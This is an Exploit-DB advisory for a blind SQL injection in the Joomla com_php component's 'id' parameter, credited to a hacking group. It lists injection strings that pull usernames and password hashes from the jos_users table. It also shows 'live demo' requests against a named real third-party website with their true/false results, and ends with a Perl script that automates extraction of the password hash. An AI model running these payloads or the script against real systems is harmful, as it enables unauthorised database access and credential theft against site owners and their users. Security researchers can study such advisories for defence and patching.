Exploit-DB #9028
Description: Joomla! Component com_php - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-29
Author: Chip d3 bi0s

Exploit:
                       
------------------------------------------------------------------------------
Joomla Component com_php (id) Blind SQL-injection Vulnerability
------------------------------------------------------------------------------


 #####################################################
 # [+] Author        :  Chip D3 Bi0s                 #
 # [+] Email         :  chipdebios[alt+64]gmail.com  #
 # [+] Vulnerability :  Blind SQL injection          #
 # [+] Group         :  LatinHackTeam                #
 #####################################################

**********************************************************************
 Info Cms:
 * @name      : PHP Component
 * @author    : gabe@fijiwebdesign.com
 * @copyright : (c) fijiwebdesign.com
 * @license   : http://www.fijiwebdesign.com/
 * @dowloand : http://code.google.com/p/joomla-php/downloads/list
**********************************************************************

Example:
http://localHost/path/index.php?option=com_php&Itemid=x&id=y<Sql Code>

x = number Itemid valid
y = number id valid

<Sql code>:

table jos_users:
+and+(select+1+from+jos_users+limit+0,1)=1

column password:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1

column username:
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

caracter ascii
+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57

etc, etc...

DEMO LIVE:

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=1 
true

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=2
else

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58
else

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57
true

note : in http://www.mercadominas.com.br
x = number Itemid valid    : 70
y = number id valid        : 131

Date and 1=1 & not and 1=2 : com_search --->use script

etc, etc....

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

if you want to save the work, you can use the following script,	
gives you password, you are free to modify it ;)
--------------------------------------------------------------------

#!/usr/bin/perl -w
use LWP::UserAgent;
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t                      |  Chip d3 Bi0s |                       \n\n";
print "\t\t Joomla Component com_php (id) Blind SQL-injection        \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "[-] http://wwww.host.org/Path: ";
chomp(my $target=<STDIN>);
print "[-] Introduce Itemid: ";
chomp($itemid=<STDIN>);
print "[-] Introduce id: ";
chomp($id=<STDIN>);
print "[-] Dato para and 1=1 & no para and 1=2 : ";
chomp($z=<STDIN>);

print "[+] Password: ";
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');


for ($x=1;$x<=32;$x++)
{            
  for ($c=48;$c<=57;$c++) 
{
 $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;

 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
 }
for ($c=97;$c<=102;$c++) 
{
 $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;
 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
 }
}

# milw0rm.com [2009-06-29]